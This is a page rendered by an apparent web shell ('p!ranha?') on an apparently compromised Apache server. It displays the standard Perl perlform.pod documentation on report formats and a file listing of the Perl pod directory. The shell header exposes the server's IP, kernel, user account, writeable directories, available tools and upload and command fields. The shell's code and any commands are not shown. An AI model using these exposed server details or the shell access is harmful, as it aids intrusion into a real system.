p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.13
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/perl5/pod/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /usr/share/perl5/pod/perlform.pod
=head1 NAME
X<format> X<report> X<chart>

perlform - Perl formats

=head1 DESCRIPTION

Perl has a mechanism to help you generate simple reports and charts.  To
facilitate this, Perl helps you code up your output page close to how it
will look when it's printed.  It can keep track of things like how many
lines are on a page, what page you're on, when to print page headers,
etc.  Keywords are borrowed from FORTRAN: format() to declare and write()
to execute; see their entries in L<perlfunc>.  Fortunately, the layout is
much more legible, more like BASIC's PRINT USING statement.  Think of it
as a poor man's nroff(1).
X<nroff>

Formats, like packages and subroutines, are declared rather than
executed, so they may occur at any point in your program.  (Usually it's
best to keep them all together though.) They have their own namespace
apart from all the other "types" in Perl.  This means that if you have a
function named "Foo", it is not the same thing as having a format named
"Foo".  However, the default name for the format associated with a given
filehandle is the same as the name of the filehandle.  Thus, the default
format for STDOUT is named "STDOUT", and the default format for filehandle
TEMP is named "TEMP".  They just look the same.  They aren't.

Output record formats are declared as follows:

    format NAME =
    FORMLIST
    .

If the name is omitted, format "STDOUT" is defined. A single "." in 
column 1 is used to terminate a format.  FORMLIST consists of a sequence 
of lines, each of which may be one of three types:

=over 4

=item 1.

A comment, indicated by putting a '#' in the first column.

=item 2.

A "picture" line giving the format for one output line.

=item 3.

An argument line supplying values to plug into the previous picture line.

=back

Picture lines contain output field definitions, intermingled with
literal text. These lines do not undergo any kind of variable interpolation.
Field definitions are made up from a set of characters, for starting and
extending a field to its desired width. This is the complete set of
characters for field definitions:
X<format, picture line>
X<@> X<^> X<< < >> X<< | >> X<< > >> X<#> X<0> X<.> X<...>
X<@*> X<^*> X<~> X<~~>

   @    start of regular field
   ^    start of special field
   <    pad character for left justification
   |    pad character for centering
   >    pad character for right justification
   #    pad character for a right-justified numeric field
   0    instead of first #: pad number with leading zeroes
   .    decimal point within a numeric field
   ...  terminate a text field, show "..." as truncation evidence
   @*   variable width field for a multi-line value
   ^*   variable width field for next line of a multi-line value
   ~    suppress line with all fields empty
   ~~   repeat line until all fields are exhausted

Each field in a picture line starts with either "@" (at) or "^" (caret),
indicating what we'll call, respectively, a "regular" or "special" field.
The choice of pad characters determines whether a field is textual or
numeric. The tilde operators are not part of a field.  Let's look at
the various possibilities in detail.


=head2 Text Fields
X<format, text field>

The length of the field is supplied by padding out the field with multiple 
"E<lt>", "E<gt>", or "|" characters to specify a non-numeric field with,
respectively, left justification, right justification, or centering. 
For a regular field, the value (up to the first newline) is taken and
printed according to the selected justification, truncating excess characters.
If you terminate a text field with "...", three dots will be shown if
the value is truncated. A special text field may be used to do rudimentary 
multi-line text block filling; see L</Using Fill Mode> for details.

   Example:
      format STDOUT =
      @<<<<<<   @||||||   @>>>>>>
      "left",   "middle", "right"
      .
   Output:
      left      middle    right


=head2 Numeric Fields
X<#> X<format, numeric field>

Using "#" as a padding character specifies a numeric field, with
right justification. An optional "." defines the position of the
decimal point. With a "0" (zero) instead of the first "#", the
formatted number will be padded with leading zeroes if necessary.
A special numeric field is blanked out if the value is undefined.
If the resulting value would exceed the width specified the field is
filled with "#" as overflow evidence.

   Example:
      format STDOUT =
      @###   @.###   @##.###  @###   @###   ^####
       42,   3.1415,  undef,    0, 10000,   undef
      .
   Output:
        42   3.142     0.000     0   ####


=head2 The Field @* for Variable-Width Multi-Line Text
X<@*>

The field "@*" can be used for printing multi-line, nontruncated
values; it should (but need not) appear by itself on a line. A final
line feed is chomped off, but all other characters are emitted verbatim.


=head2 The Field ^* for Variable-Width One-line-at-a-time Text
X<^*>

Like "@*", this is a variable-width field. The value supplied must be a 
scalar variable. Perl puts the first line (up to the first "\n") of the 
text into the field, and then chops off the front of the string so that 
the next time the variable is referenced, more of the text can be printed. 
The variable will I<not> be restored.

   Example:
      $text = "line 1\nline 2\nline 3";
      format STDOUT =
      Text: ^*
            $text
      ~~    ^*
            $text
      .
   Output:
      Text: line 1
            line 2
            line 3


=head2 Specifying Values
X<format, specifying values>

The values are specified on the following format line in the same order as
the picture fields.  The expressions providing the values must be
separated by commas.  They are all evaluated in a list context
before the line is processed, so a single list expression could produce
multiple list elements.  The expressions may be spread out to more than
one line if enclosed in braces.  If so, the opening brace must be the first
token on the first line.  If an expression evaluates to a number with a
decimal part, and if the corresponding picture specifies that the decimal
part should appear in the output (that is, any picture except multiple "#"
characters B<without> an embedded "."), the character used for the decimal
point is determined by the current LC_NUMERIC locale if C<use locale> is in
effect.  This means that, if, for example, the run-time environment happens
to specify a German locale, "," will be used instead of the default ".".  See
L<perllocale> and L<"WARNINGS"> for more information.


=head2 Using Fill Mode
X<format, fill mode>

On text fields the caret enables a kind of fill mode.  Instead of an
arbitrary expression, the value supplied must be a scalar variable
that contains a text string.  Perl puts the next portion of the text into
the field, and then chops off the front of the string so that the next time
the variable is referenced, more of the text can be printed.  (Yes, this
means that the variable itself is altered during execution of the write()
call, and is not restored.)  The next portion of text is determined by
a crude line-breaking algorithm. You may use the carriage return character
(C<\r>) to force a line break. You can change which characters are legal 
to break on by changing the variable C<$:> (that's 
$FORMAT_LINE_BREAK_CHARACTERS if you're using the English module) to a 
list of the desired characters.

Normally you would use a sequence of fields in a vertical stack associated 
with the same scalar variable to print out a block of text. You might wish 
to end the final field with the text "...", which will appear in the output 
if the text was too long to appear in its entirety.  


=head2 Suppressing Lines Where All Fields Are Void
X<format, suppressing lines>

Using caret fields can produce lines where all fields are blank. You can
suppress such lines by putting a "~" (tilde) character anywhere in the
line.  The tilde will be translated to a space upon output.


=head2 Repeating Format Lines
X<format, repeating lines>

If you put two contiguous tilde characters "~~" anywhere into a line,
the line will be repeated until all the fields on the line are exhausted,
i.e. undefined. For special (caret) text fields this will occur sooner or
later, but if you use a text field of the at variety, the  expression you
supply had better not give the same value every time forever! (C<shift(@f)>
is a simple example that would work.)  Don't use a regular (at) numeric 
field in such lines, because it will never go blank.


=head2 Top of Form Processing
X<format, top of form> X<top> X<header>

Top-of-form processing is by default handled by a format with the
same name as the current filehandle with "_TOP" concatenated to it.
It's triggered at the top of each page.  See L<perlfunc/write>.

Examples:

 # a report on the /etc/passwd file
 format STDOUT_TOP =
                         Passwd File
 Name                Login    Office   Uid   Gid Home
 ------------------------------------------------------------------
 .
 format STDOUT =
 @<<<<<<<<<<<<<<<<<< @||||||| @<<<<<<@>>>> @>>>> @<<<<<<<<<<<<<<<<<
 $name,              $login,  $office,$uid,$gid, $home
 .


 # a report from a bug report form
 format STDOUT_TOP =
                         Bug Reports
 @<<<<<<<<<<<<<<<<<<<<<<<     @|||         @>>>>>>>>>>>>>>>>>>>>>>>
 $system,                      $%,         $date
 ------------------------------------------------------------------
 .
 format STDOUT =
 Subject: @<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
          $subject
 Index: @<<<<<<<<<<<<<<<<<<<<<<<<<<<< ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<
        $index,                       $description
 Priority: @<<<<<<<<<< Date: @<<<<<<< ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<
           $priority,        $date,   $description
 From: @<<<<<<<<<<<<<<<<<<<<<<<<<<<<< ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<
       $from,                         $description
 Assigned to: @<<<<<<<<<<<<<<<<<<<<<< ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<
              $programmer,            $description
 ~                                    ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<
                                      $description
 ~                                    ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<
                                      $description
 ~                                    ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<
                                      $description
 ~                                    ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<
                                      $description
 ~                                    ^<<<<<<<<<<<<<<<<<<<<<<<...
                                      $description
 .

It is possible to intermix print()s with write()s on the same output
channel, but you'll have to handle C<$-> (C<$FORMAT_LINES_LEFT>)
yourself.

=head2 Format Variables
X<format variables>
X<format, variables>

The current format name is stored in the variable C<$~> (C<$FORMAT_NAME>),
and the current top of form format name is in C<$^> (C<$FORMAT_TOP_NAME>).
The current output page number is stored in C<$%> (C<$FORMAT_PAGE_NUMBER>),
and the number of lines on the page is in C<$=> (C<$FORMAT_LINES_PER_PAGE>).
Whether to autoflush output on this handle is stored in C<$|>
(C<$OUTPUT_AUTOFLUSH>).  The string output before each top of page (except
the first) is stored in C<$^L> (C<$FORMAT_FORMFEED>).  These variables are
set on a per-filehandle basis, so you'll need to select() into a different
one to affect them:

    select((select(OUTF),
	    $~ = "My_Other_Format",
	    $^ = "My_Top_Format"
	   )[0]);

Pretty ugly, eh?  It's a common idiom though, so don't be too surprised
when you see it.  You can at least use a temporary variable to hold
the previous filehandle: (this is a much better approach in general,
because not only does legibility improve, you now have an intermediary
stage in the expression to single-step the debugger through):

    $ofh = select(OUTF);
    $~ = "My_Other_Format";
    $^ = "My_Top_Format";
    select($ofh);

If you use the English module, you can even read the variable names:

    use English '-no_match_vars';
    $ofh = select(OUTF);
    $FORMAT_NAME     = "My_Other_Format";
    $FORMAT_TOP_NAME = "My_Top_Format";
    select($ofh);

But you still have those funny select()s.  So just use the FileHandle
module.  Now, you can access these special variables using lowercase
method names instead:

    use FileHandle;
    format_name     OUTF "My_Other_Format";
    format_top_name OUTF "My_Top_Format";

Much better!

=head1 NOTES

Because the values line may contain arbitrary expressions (for at fields,
not caret fields), you can farm out more sophisticated processing
to other functions, like sprintf() or one of your own.  For example:

    format Ident =
	@<<<<<<<<<<<<<<<
	&commify($n)
    .

To get a real at or caret into the field, do this:

    format Ident =
    I have an @ here.
	    "@"
    .

To center a whole line of text, do something like this:

    format Ident =
    @|||||||||||||||||||||||||||||||||||||||||||||||
	    "Some text line"
    .

There is no builtin way to say "float this to the right hand side
of the page, however wide it is."  You have to specify where it goes.
The truly desperate can generate their own format on the fly, based
on the current number of columns, and then eval() it:

    $format  = "format STDOUT = \n"
             . '^' . '<' x $cols . "\n"
             . '$entry' . "\n"
             . "\t^" . "<" x ($cols-8) . "~~\n"
             . '$entry' . "\n"
             . ".\n";
    print $format if $Debugging;
    eval $format;
    die $@ if $@;

Which would generate a format looking something like this:

 format STDOUT =
 ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
 $entry
         ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<~~
 $entry
 .

Here's a little program that's somewhat like fmt(1):

 format =
 ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< ~~
 $_

 .

 $/ = '';
 while (<>) {
     s/\s*\n\s*/ /g;
     write;
 }

=head2 Footers
X<format, footer> X<footer>

While $FORMAT_TOP_NAME contains the name of the current header format,
there is no corresponding mechanism to automatically do the same thing
for a footer.  Not knowing how big a format is going to be until you
evaluate it is one of the major problems.  It's on the TODO list.

Here's one strategy:  If you have a fixed-size footer, you can get footers
by checking $FORMAT_LINES_LEFT before each write() and print the footer
yourself if necessary.

Here's another strategy: Open a pipe to yourself, using C<open(MYSELF, "|-")>
(see L<perlfunc/open>) and always write() to MYSELF instead of STDOUT.
Have your child process massage its STDIN to rearrange headers and footers
however you like.  Not very convenient, but doable.

=head2 Accessing Formatting Internals
X<format, internals>

For low-level access to the formatting mechanism.  you may use formline()
and access C<$^A> (the $ACCUMULATOR variable) directly.

For example:

    $str = formline <<'END', 1,2,3;
    @<<<  @|||  @>>>
    END

    print "Wow, I just stored '$^A' in the accumulator!\n";

Or to make an swrite() subroutine, which is to write() what sprintf()
is to printf(), do this:

    use Carp;
    sub swrite {
	croak "usage: swrite PICTURE ARGS" unless @_;
	my $format = shift;
	$^A = "";
	formline($format,@_);
	return $^A;
    }

    $string = swrite(<<'END', 1, 2, 3);
 Check me out
 @<<<  @|||  @>>>
 END
    print $string;

=head1 WARNINGS

The lone dot that ends a format can also prematurely end a mail
message passing through a misconfigured Internet mailer (and based on
experience, such misconfiguration is the rule, not the exception).  So
when sending format code through mail, you should indent it so that
the format-ending dot is not on the left margin; this will prevent
SMTP cutoff.

Lexical variables (declared with "my") are not visible within a
format unless the format is declared within the scope of the lexical
variable.  (They weren't visible at all before version 5.001.)

If a program's environment specifies an LC_NUMERIC locale and C<use
locale> is in effect when the format is declared, the locale is used
to specify the decimal point character in formatted output.  Formatted
output cannot be controlled by C<use locale> at the time when write()
is called. See L<perllocale> for further discussion of locale handling.

Within strings that are to be displayed in a fixed-length text field,
each control character is substituted by a space. (But remember the
special meaning of C<\r> when using fill mode.) This is done to avoid
misalignment when control characters "disappear" on some output media.

N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
January 19 2024 08:12:46
0 / 0
0755
a2p.pod
5.962 KB
February 02 2021 16:32:27
0 / 0
0644
perl.pod
15.429 KB
February 02 2021 16:32:27
0 / 0
0644
perl5004delta.pod
54.921 KB
February 02 2021 16:32:27
0 / 0
0644
perl5005delta.pod
33.48 KB
February 02 2021 16:32:27
0 / 0
0644
perl5100delta.pod
53.413 KB
February 02 2021 16:32:27
0 / 0
0644
perl5101delta.pod
42.858 KB
February 02 2021 16:32:27
0 / 0
0644
perl5120delta.pod
87.193 KB
February 02 2021 16:32:27
0 / 0
0644
perl5121delta.pod
9.905 KB
February 02 2021 16:32:27
0 / 0
0644
perl5122delta.pod
9.378 KB
February 02 2021 16:32:27
0 / 0
0644
perl5123delta.pod
4.004 KB
February 02 2021 16:32:27
0 / 0
0644
perl5124delta.pod
3.586 KB
February 02 2021 16:32:27
0 / 0
0644
perl5140delta.pod
140.941 KB
February 02 2021 16:32:27
0 / 0
0644
perl5141delta.pod
7.779 KB
February 02 2021 16:32:27
0 / 0
0644
perl5142delta.pod
6.73 KB
February 02 2021 16:32:27
0 / 0
0644
perl5143delta.pod
7.578 KB
February 02 2021 16:32:27
0 / 0
0644
perl5160delta.pod
130.52 KB
February 02 2021 16:32:27
0 / 0
0644
perl5161delta.pod
5.998 KB
February 02 2021 16:32:27
0 / 0
0644
perl5162delta.pod
3.51 KB
February 02 2021 16:32:27
0 / 0
0644
perl5163delta.pod
3.985 KB
February 02 2021 16:32:27
0 / 0
0644
perl561delta.pod
121.786 KB
February 02 2021 16:32:27
0 / 0
0644
perl56delta.pod
104.685 KB
February 02 2021 16:32:27
0 / 0
0644
perl581delta.pod
37.168 KB
February 02 2021 16:32:27
0 / 0
0644
perl582delta.pod
4.365 KB
February 02 2021 16:32:27
0 / 0
0644
perl583delta.pod
6.187 KB
February 02 2021 16:32:27
0 / 0
0644
perl584delta.pod
7.19 KB
February 02 2021 16:32:27
0 / 0
0644
perl585delta.pod
5.751 KB
February 02 2021 16:32:27
0 / 0
0644
perl586delta.pod
4.542 KB
February 02 2021 16:32:27
0 / 0
0644
perl587delta.pod
8.161 KB
February 02 2021 16:32:27
0 / 0
0644
perl588delta.pod
24.68 KB
February 02 2021 16:32:27
0 / 0
0644
perl589delta.pod
52.637 KB
February 02 2021 16:32:27
0 / 0
0644
perl58delta.pod
112.215 KB
February 02 2021 16:32:27
0 / 0
0644
perlaix.pod
18.768 KB
February 02 2021 16:32:27
0 / 0
0644
perlamiga.pod
6.869 KB
February 02 2021 16:32:27
0 / 0
0644
perlapi.pod
315.465 KB
February 02 2021 16:32:27
0 / 0
0644
perlapio.pod
18.878 KB
February 02 2021 16:32:27
0 / 0
0644
perlartistic.pod
6.846 KB
February 02 2021 16:32:27
0 / 0
0644
perlbeos.pod
2.867 KB
February 02 2021 16:32:27
0 / 0
0644
perlbook.pod
7.192 KB
February 02 2021 16:32:27
0 / 0
0644
perlboot.pod
0.179 KB
February 02 2021 16:32:27
0 / 0
0644
perlbot.pod
0.178 KB
February 02 2021 16:32:27
0 / 0
0644
perlbs2000.pod
7.733 KB
February 02 2021 16:32:27
0 / 0
0644
perlcall.pod
54.026 KB
February 02 2021 16:32:27
0 / 0
0644
perlce.pod
8.723 KB
February 02 2021 16:32:27
0 / 0
0644
perlcheat.pod
4.395 KB
February 02 2021 16:32:27
0 / 0
0644
perlclib.pod
7.504 KB
February 02 2021 16:32:27
0 / 0
0644
perlcn.pod
4.815 KB
February 02 2021 16:32:27
0 / 0
0644
perlcommunity.pod
6.293 KB
February 02 2021 16:32:27
0 / 0
0644
perlcygwin.pod
27.17 KB
February 02 2021 16:32:27
0 / 0
0644
perldata.pod
36.331 KB
February 02 2021 16:32:27
0 / 0
0644
perldbmfilter.pod
4.863 KB
February 02 2021 16:32:27
0 / 0
0644
perldebguts.pod
36.789 KB
February 02 2021 16:32:27
0 / 0
0644
perldebtut.pod
20.786 KB
February 02 2021 16:32:27
0 / 0
0644
perldebug.pod
38.151 KB
February 02 2021 16:32:27
0 / 0
0644
perldelta.pod
3.985 KB
February 02 2021 16:32:27
0 / 0
0644
perldgux.pod
2.754 KB
February 02 2021 16:32:27
0 / 0
0644
perldiag.pod
207.818 KB
February 02 2021 16:32:27
0 / 0
0644
perldos.pod
10.275 KB
February 02 2021 16:32:27
0 / 0
0644
perldsc.pod
24.837 KB
February 02 2021 16:32:27
0 / 0
0644
perldtrace.pod
6.209 KB
February 02 2021 16:32:27
0 / 0
0644
perlebcdic.pod
67.605 KB
February 02 2021 16:32:27
0 / 0
0644
perlembed.pod
35.209 KB
February 02 2021 16:32:27
0 / 0
0644
perlepoc.pod
3.572 KB
February 02 2021 16:32:27
0 / 0
0644
perlexperiment.pod
4.843 KB
February 02 2021 16:32:27
0 / 0
0644
perlfaq.pod
22.007 KB
February 02 2021 16:32:27
0 / 0
0644
perlfaq1.pod
13.519 KB
February 02 2021 16:32:27
0 / 0
0644
perlfaq2.pod
9.278 KB
February 02 2021 16:32:27
0 / 0
0644
perlfaq3.pod
37.464 KB
February 02 2021 16:32:27
0 / 0
0644
perlfaq4.pod
87.393 KB
February 02 2021 16:32:27
0 / 0
0644
perlfaq5.pod
54.113 KB
February 02 2021 16:32:27
0 / 0
0644
perlfaq6.pod
38.664 KB
February 02 2021 16:32:27
0 / 0
0644
perlfaq7.pod
36.352 KB
February 02 2021 16:32:27
0 / 0
0644
perlfaq8.pod
48.279 KB
February 02 2021 16:32:27
0 / 0
0644
perlfaq9.pod
14.709 KB
February 02 2021 16:32:27
0 / 0
0644
perlfork.pod
12.782 KB
February 02 2021 16:32:27
0 / 0
0644
perlform.pod
16.287 KB
February 02 2021 16:32:27
0 / 0
0644
perlfreebsd.pod
1.554 KB
February 02 2021 16:32:27
0 / 0
0644
perlfunc.pod
338.432 KB
February 02 2021 16:32:27
0 / 0
0644
perlgit.pod
29.755 KB
February 02 2021 16:32:27
0 / 0
0644
perlglossary.pod
110.655 KB
February 02 2021 16:32:27
0 / 0
0644
perlgpl.pod
13.537 KB
February 02 2021 16:32:27
0 / 0
0644
perlguts.pod
111.664 KB
February 02 2021 16:32:27
0 / 0
0644
perlhack.pod
35.03 KB
February 02 2021 16:32:27
0 / 0
0644
perlhacktips.pod
45.498 KB
February 02 2021 16:32:27
0 / 0
0644
perlhacktut.pod
6.068 KB
February 02 2021 16:32:27
0 / 0
0644
perlhaiku.pod
1.469 KB
February 02 2021 16:32:27
0 / 0
0644
perlhist.pod
43.319 KB
February 02 2021 16:32:27
0 / 0
0644
perlhpux.pod
28.065 KB
February 02 2021 16:32:27
0 / 0
0644
perlhurd.pod
1.94 KB
February 02 2021 16:32:27
0 / 0
0644
perlintern.pod
42.532 KB
February 02 2021 16:32:27
0 / 0
0644
perlinterp.pod
30.002 KB
February 02 2021 16:32:27
0 / 0
0644
perlintro.pod
22.085 KB
February 02 2021 16:32:27
0 / 0
0644
perliol.pod
33.027 KB
February 02 2021 16:32:27
0 / 0
0644
perlipc.pod
70.165 KB
February 02 2021 16:32:27
0 / 0
0644
perlirix.pod
4.291 KB
February 02 2021 16:32:27
0 / 0
0644
perljp.pod
7.572 KB
February 02 2021 16:32:27
0 / 0
0644
perlko.pod
7.521 KB
February 02 2021 16:32:27
0 / 0
0644
perllexwarn.pod
14.612 KB
February 02 2021 16:32:27
0 / 0
0644
perllinux.pod
1.453 KB
February 02 2021 16:32:27
0 / 0
0644
perllocale.pod
51.435 KB
February 02 2021 16:32:27
0 / 0
0644
perllol.pod
10.935 KB
February 02 2021 16:32:27
0 / 0
0644
perlmacos.pod
0.978 KB
February 02 2021 16:32:27
0 / 0
0644
perlmacosx.pod
10.399 KB
February 02 2021 16:32:27
0 / 0
0644
perlmod.pod
24.041 KB
February 02 2021 16:32:27
0 / 0
0644
perlmodinstall.pod
12.412 KB
February 02 2021 16:32:27
0 / 0
0644
perlmodlib.pod
78.491 KB
February 02 2021 16:32:27
0 / 0
0644
perlmodstyle.pod
20.757 KB
February 02 2021 16:32:27
0 / 0
0644
perlmpeix.pod
14.236 KB
February 02 2021 16:32:27
0 / 0
0644
perlmroapi.pod
3.128 KB
February 02 2021 16:32:27
0 / 0
0644
perlnetware.pod
6.348 KB
February 02 2021 16:32:27
0 / 0
0644
perlnewmod.pod
10.952 KB
February 02 2021 16:32:27
0 / 0
0644
perlnumber.pod
8.156 KB
February 02 2021 16:32:27
0 / 0
0644
perlobj.pod
33.653 KB
February 02 2021 16:32:27
0 / 0
0644
perlootut.pod
25.604 KB
February 02 2021 16:32:27
0 / 0
0644
perlop.pod
121.731 KB
February 02 2021 16:32:27
0 / 0
0644
perlopenbsd.pod
1.176 KB
February 02 2021 16:32:27
0 / 0
0644
perlopentut.pod
37.533 KB
February 02 2021 16:32:27
0 / 0
0644
perlos2.pod
90.533 KB
February 02 2021 16:32:27
0 / 0
0644
perlos390.pod
15.2 KB
February 02 2021 16:32:27
0 / 0
0644
perlos400.pod
4.513 KB
February 02 2021 16:32:27
0 / 0
0644
perlpacktut.pod
49.834 KB
February 02 2021 16:32:27
0 / 0
0644
perlperf.pod
50.048 KB
February 02 2021 16:32:27
0 / 0
0644
perlplan9.pod
5.005 KB
February 02 2021 16:32:27
0 / 0
0644
perlpod.pod
21.27 KB
February 02 2021 16:32:27
0 / 0
0644
perlpodspec.pod
66.203 KB
February 02 2021 16:32:27
0 / 0
0644
perlpolicy.pod
19.726 KB
February 02 2021 16:32:27
0 / 0
0644
perlport.pod
82.635 KB
February 02 2021 16:32:27
0 / 0
0644
perlpragma.pod
5.105 KB
February 02 2021 16:32:27
0 / 0
0644
perlqnx.pod
4.145 KB
February 02 2021 16:32:27
0 / 0
0644
perlre.pod
100.761 KB
February 02 2021 16:32:27
0 / 0
0644
perlreapi.pod
25.168 KB
February 02 2021 16:32:27
0 / 0
0644
perlrebackslash.pod
25.644 KB
February 02 2021 16:32:27
0 / 0
0644
perlrecharclass.pod
34.188 KB
February 02 2021 16:32:27
0 / 0
0644
perlref.pod
28.319 KB
February 02 2021 16:32:27
0 / 0
0644
perlreftut.pod
18.232 KB
February 02 2021 16:32:27
0 / 0
0644
perlreguts.pod
35.995 KB
February 02 2021 16:32:27
0 / 0
0644
perlrequick.pod
17.499 KB
February 02 2021 16:32:27
0 / 0
0644
perlreref.pod
14.19 KB
February 02 2021 16:32:27
0 / 0
0644
perlretut.pod
115.128 KB
February 02 2021 16:32:27
0 / 0
0644
perlriscos.pod
1.493 KB
February 02 2021 16:32:27
0 / 0
0644
perlrun.pod
49.575 KB
February 02 2021 16:32:27
0 / 0
0644
perlsec.pod
22.768 KB
February 02 2021 16:32:27
0 / 0
0644
perlsolaris.pod
28.63 KB
February 02 2021 16:32:27
0 / 0
0644
perlsource.pod
6.194 KB
February 02 2021 16:32:27
0 / 0
0644
perlstyle.pod
8.416 KB
February 02 2021 16:32:27
0 / 0
0644
perlsub.pod
55.153 KB
February 02 2021 16:32:27
0 / 0
0644
perlsymbian.pod
15.439 KB
February 02 2021 16:32:27
0 / 0
0644
perlsyn.pod
41.044 KB
February 02 2021 16:32:27
0 / 0
0644
perlthrtut.pod
45.407 KB
February 02 2021 16:32:27
0 / 0
0644
perltie.pod
37.02 KB
February 02 2021 16:32:27
0 / 0
0644
perltoc.pod
638.995 KB
February 02 2021 16:32:27
0 / 0
0644
perltodo.pod
0.354 KB
February 02 2021 16:32:27
0 / 0
0644
perltooc.pod
0.179 KB
February 02 2021 16:32:27
0 / 0
0644
perltoot.pod
0.179 KB
February 02 2021 16:32:27
0 / 0
0644
perltrap.pod
40.281 KB
February 02 2021 16:32:27
0 / 0
0644
perltru64.pod
7.552 KB
February 02 2021 16:32:27
0 / 0
0644
perltw.pod
5.151 KB
February 02 2021 16:32:27
0 / 0
0644
perlunicode.pod
70.891 KB
February 02 2021 16:32:27
0 / 0
0644
perlunifaq.pod
13.314 KB
February 02 2021 16:32:27
0 / 0
0644
perluniintro.pod
35.443 KB
February 02 2021 16:32:27
0 / 0
0644
perluniprops.pod
229.736 KB
February 02 2021 16:32:27
0 / 0
0644
perlunitut.pod
7.756 KB
February 02 2021 16:32:27
0 / 0
0644
perlutil.pod
9.679 KB
February 02 2021 16:32:27
0 / 0
0644
perluts.pod
3.105 KB
February 02 2021 16:32:27
0 / 0
0644
perlvar.pod
69.188 KB
February 02 2021 16:32:27
0 / 0
0644
perlvmesa.pod
3.881 KB
February 02 2021 16:32:27
0 / 0
0644
perlvms.pod
51.333 KB
February 02 2021 16:32:27
0 / 0
0644
perlvos.pod
5.823 KB
February 02 2021 16:32:27
0 / 0
0644
perlwin32.pod
34.581 KB
February 02 2021 16:32:27
0 / 0
0644
perlxs.pod
71.663 KB
February 02 2021 16:32:27
0 / 0
0644
perlxstut.pod
48.517 KB
February 02 2021 16:32:27
0 / 0
0644
perlxstypemap.pod
22.966 KB
February 02 2021 16:32:27
0 / 0
0644